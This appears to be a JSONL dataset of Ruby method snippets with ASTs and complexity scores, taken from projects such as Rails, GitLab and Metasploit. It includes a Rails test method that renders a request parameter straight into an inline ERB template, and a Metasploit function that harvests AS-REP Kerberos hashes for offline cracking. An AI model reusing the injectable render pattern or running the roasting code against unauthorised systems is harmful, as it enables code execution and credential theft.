{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/base_test.rb","start_line":56,"raw_source":"def from_view\n    render inline: \"<%= #{params[:route]} %>\"\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"from_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<%= \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"route\"]}]}]},{\"type\":\"str\",\"children\":[\" %>\"]}]}]}]}]}]}","id":"d4473057-c873-458b-8e60-e78191c39efd"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/template/resolver.rb","start_line":15,"raw_source":"def build_path_regex\n        handlers = Regexp.union(Template::Handlers.extensions.map(&:to_s))\n        formats = Regexp.union(Template::Types.symbols.map(&:to_s))\n        available_locales = I18n.available_locales.map(&:to_s)\n        regular_locales = [/[a-z]{2}(?:[-_][A-Z]{2})?/]\n        locales = Regexp.union(available_locales + regular_locales)\n        variants = \"[^.]*\"\n\n        %r{\n          \\A\n          (?:(?<prefix>.*)/)?\n          (?<partial>_)?\n          (?<action>.*?)\n          (?:\\.(?<locale>#{locales}))??\n          (?:\\.(?<format>#{formats}))??\n          (?:\\+(?<variant>#{variants}))??\n          (?:\\.(?<handler>#{handlers}))?\n          \\z\n        }x\n      end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_path_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"handlers\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"Handlers\"]},\"extensions\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"formats\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"Types\"]},\"symbols\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"available_locales\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"available_locales\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regular_locales\",{\"type\":\"array\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[a-z]{2}(?:[-_][A-Z]{2})?\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locales\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"available_locales\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"regular_locales\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"variants\",{\"type\":\"str\",\"children\":[\"[^.]*\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\\A\\n\"]},{\"type\":\"str\",\"children\":[\"          (?:(?<prefix>.*)/)?\\n\"]},{\"type\":\"str\",\"children\":[\"          (?<partial>_)?\\n\"]},{\"type\":\"str\",\"children\":[\"          (?<action>.*?)\\n\"]},{\"type\":\"str\",\"children\":[\"          (?:\\\\.(?<locale>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locales\"]}]},{\"type\":\"str\",\"children\":[\"))??\\n\"]},{\"type\":\"str\",\"children\":[\"          (?:\\\\.(?<format>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formats\"]}]},{\"type\":\"str\",\"children\":[\"))??\\n\"]},{\"type\":\"str\",\"children\":[\"          (?:\\\\+(?<variant>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variants\"]}]},{\"type\":\"str\",\"children\":[\"))??\\n\"]},{\"type\":\"str\",\"children\":[\"          (?:\\\\.(?<handler>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handlers\"]}]},{\"type\":\"str\",\"children\":[\"))?\\n\"]},{\"type\":\"str\",\"children\":[\"          \\\\z\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"regopt\",\"children\":[\"x\"]}]}]}]}","id":"58bd0bf4-c0b1-41fd-8029-59e164d1070e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/base_service.rb","start_line":22,"raw_source":"def execute\n        verification_response = verify_work_item_action_permission\n\n        return verification_response if verification_response.error?\n\n        data_sync_action\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"verification_response\",{\"type\":\"send\",\"children\":[null,\"verify_work_item_action_permission\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_response\"]},\"error?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verification_response\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"data_sync_action\"]}]}]}","id":"d69bd0c8-a0db-40ee-a5bc-71dcca0d9ddd"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":433,"raw_source":"def test_render_partial_collection_with_different_partials_still_provides_partial_iteration\n    a = {}\n    b = {}\n    def a.to_partial_path; \"test/partial_iteration_1\"; end\n    def b.to_partial_path; \"test/partial_iteration_2\"; end\n\n    assert_equal \"local-variable\\nlocal-variable\", @controller_view.render([a, b])\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_collection_with_different_partials_still_provides_partial_iteration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"to_partial_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"test/partial_iteration_1\"]}]},{\"type\":\"defs\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"to_partial_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"test/partial_iteration_2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"local-variable\\nlocal-variable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller_view\"]},\"render\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}]}]}","id":"56b5e9a9-e3c1-4180-8069-ba1e082619db"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/research/filter.rb","start_line":372,"raw_source":"def process_filter_group(term_part, filter_collection)\n          term_part\n            .to_s\n            .scan(/(([^\" \\t\\n\\x0B\\f\\r]+)?((\"[^\"]+\")?))/)\n            .to_a\n            .map do |(word, _)|\n              next if word.blank?\n\n              found = false\n              self.class.registered_filters.each do |matcher, block|\n                if word =~ matcher\n                  filter_collection << [block, $1]\n                  found = true\n                  break\n                end\n              end\n\n              invalid_filters << word if !found\n            end\n        end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"process_filter_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term_part\"]},{\"type\":\"arg\",\"children\":[\"filter_collection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term_part\"]},\"to_s\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(([^\\\" \\\\t\\\\n\\\\x0B\\\\f\\\\r]+)?((\\\"[^\\\"]+\\\")?))\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"to_a\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"registered_filters\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"matcher\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"word\"]},\"=~\",{\"type\":\"lvar\",\"children\":[\"matcher\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_collection\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"nth_ref\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invalid_filters\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"word\"]}]},null]}]}]}]}","id":"57de1ae1-1ab3-45c4-8391-e743bd8a2b0c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/asrep.rb","start_line":127,"raw_source":"def roast(username)\n    res = send_request_tgt(\n      server_name: \"krbtgt/#{datastore['domain']}\",\n      client_name: username,\n      realm: datastore['LDAPDomain'],\n      offered_etypes: etypes,\n      rport: 88,\n      rhost: datastore['RHOST']\n    )\n    hash = format_as_rep_to_john_hash(res.as_rep)\n    print_line(hash)\n    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)\n    report_hash(hash, jtr_format)\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"roast\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_tgt\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"krbtgt/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"domain\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_name\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"realm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LDAPDomain\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offered_etypes\"]},{\"type\":\"send\",\"children\":[null,\"etypes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rport\"]},{\"type\":\"int\",\"children\":[88]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[null,\"format_as_rep_to_john_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"as_rep\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"jtr_format\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"Hashes\"]},\"identify_hash\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report_hash\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"lvar\",\"children\":[\"jtr_format\"]}]}]}]}","id":"2fbde4cc-5c8d-46f9-99e6-75f7cfb5e7a8"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/internal/app/controllers/products_controller.rb","start_line":13,"raw_source":"def create\n    Product.create!\n    head :ok\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"create!\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}","id":"8523f661-489d-49e5-b68c-7258179f1997"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/base.rb","start_line":321,"raw_source":"def transmit_subscription_confirmation\n          unless subscription_confirmation_sent?\n            logger.debug \"#{self.class.name} is transmitting the subscription confirmation\"\n\n            ActiveSupport::Notifications.instrument(\"transmit_subscription_confirmation.action_cable\", channel_class: self.class.name, identifier: @identifier) do\n              connection.transmit identifier: @identifier, type: ActionCable::INTERNAL[:message_types][:confirmation]\n              @subscription_confirmation_sent = true\n            end\n          end\n        end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"transmit_subscription_confirmation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription_confirmation_sent?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" is transmitting the subscription confirmation\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"str\",\"children\":[\"transmit_subscription_confirmation.action_cable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"ivar\",\"children\":[\"@identifier\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"transmit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"ivar\",\"children\":[\"@identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionCable\"]},\"INTERNAL\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message_types\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"confirmation\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscription_confirmation_sent\",{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"ed8d4599-e1cf-4518-a701-ea2a36517175"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/acts_as_journalized/lib/journal_formatter_cache.rb","start_line":40,"raw_source":"def fetch(klass, id, &)\n    key = [klass, id]\n    if @cache.key?(key)\n      @cache[key]\n    elsif block_given?\n      @cache[key] = yield\n    end\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"yield\",\"children\":[]}]},null]}]}]}]}","id":"7bfb4495-0e21-49ab-b756-cbf993e007da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/deprecated_assignee.rb","start_line":36,"raw_source":"def assignee_ids\n    if Gitlab::Database.read_only? && pending_assignees_population?\n      return Array(deprecated_assignee_id)\n    end\n\n    update_assignees_relation\n    super\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assignee_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]},{\"type\":\"send\",\"children\":[null,\"pending_assignees_population?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[null,\"deprecated_assignee_id\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"update_assignees_relation\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"af333e12-5324-4142-bfb1-1b0b4ea8d4ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":937,"raw_source":"def validate_constraint(table_name, constraint_name)\n          at = create_alter_table table_name\n          at.validate_constraint constraint_name\n\n          execute schema_creation.accept(at)\n        end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_constraint\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"constraint_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[null,\"create_alter_table\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"validate_constraint\",{\"type\":\"lvar\",\"children\":[\"constraint_name\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]}","id":"c172b448-5f02-4e72-98a7-f457d518fb8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/user_settings/passwords_controller.rb","start_line":69,"raw_source":"def set_user\n      @user = current_user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"6a3bc65a-f127-42b8-9812-551448150224"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/service/gitlab/instances.rb","start_line":25,"raw_source":"def set_gitlab_urls(instance)\n          Support::GitlabAddress.define_gitlab_address_attribute!(instance.external_url)\n          Runtime::Env.gitlab_url = instance.external_url\n          Runtime::Scenario.define(:gitlab_address, instance.external_url)\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_gitlab_urls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"GitlabAddress\"]},\"define_gitlab_address_attribute!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"external_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"gitlab_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"external_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Scenario\"]},\"define\",{\"type\":\"sym\",\"children\":[\"gitlab_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"external_url\"]}]}]}]}","id":"ddcff131-5c53-40c2-936d-3fa66da24202"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/hash_with_indifferent_access_test.rb","start_line":213,"raw_source":"def test_indifferent_reading_with_nonnil_default\n    hash = HashWithIndifferentAccess.new(1)\n    hash[\"a\"] = 1\n    hash[\"b\"] = true\n    hash[\"c\"] = false\n    hash[\"d\"] = nil\n\n    assert_equal 1, hash[:a]\n    assert_equal true, hash[:b]\n    assert_equal false, hash[:c]\n    assert_nil hash[:d]\n    assert_equal 1, hash[:e]\n  end","complexity_score":18.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_indifferent_reading_with_nonnil_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashWithIndifferentAccess\"]},\"new\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"d\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"b\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"e\"]}]}]}]}]}","id":"808d254c-7ad5-4f85-ac6c-ed216c0b1de0"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":357,"raw_source":"def register_forward_all_offense(def_or_send, send_or_arguments, rest_or_splat)\n          arg_range = arguments_range(def_or_send, rest_or_splat)\n\n          add_offense(arg_range, message: FORWARDING_MSG) do |corrector|\n            add_parens_if_missing(send_or_arguments, corrector)\n\n            corrector.replace(arg_range, '...')\n          end\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"register_forward_all_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"def_or_send\"]},{\"type\":\"arg\",\"children\":[\"send_or_arguments\"]},{\"type\":\"arg\",\"children\":[\"rest_or_splat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arg_range\",{\"type\":\"send\",\"children\":[null,\"arguments_range\",{\"type\":\"lvar\",\"children\":[\"def_or_send\"]},{\"type\":\"lvar\",\"children\":[\"rest_or_splat\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"arg_range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"FORWARDING_MSG\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_parens_if_missing\",{\"type\":\"lvar\",\"children\":[\"send_or_arguments\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"arg_range\"]},{\"type\":\"str\",\"children\":[\"...\"]}]}]}]}]}]}","id":"35f062d8-439f-40d1-8498-59276f94e4e1"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/resource_controller.rb","start_line":143,"raw_source":"def allowed_sort_attributes\n            (super << spree_permitted_attributes).uniq.compact\n          end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_sort_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"<<\",{\"type\":\"send\",\"children\":[null,\"spree_permitted_attributes\"]}]}]},\"uniq\"]},\"compact\"]}]}","id":"b3561cdb-0d74-4a86-9873-f01cb18fde55"}
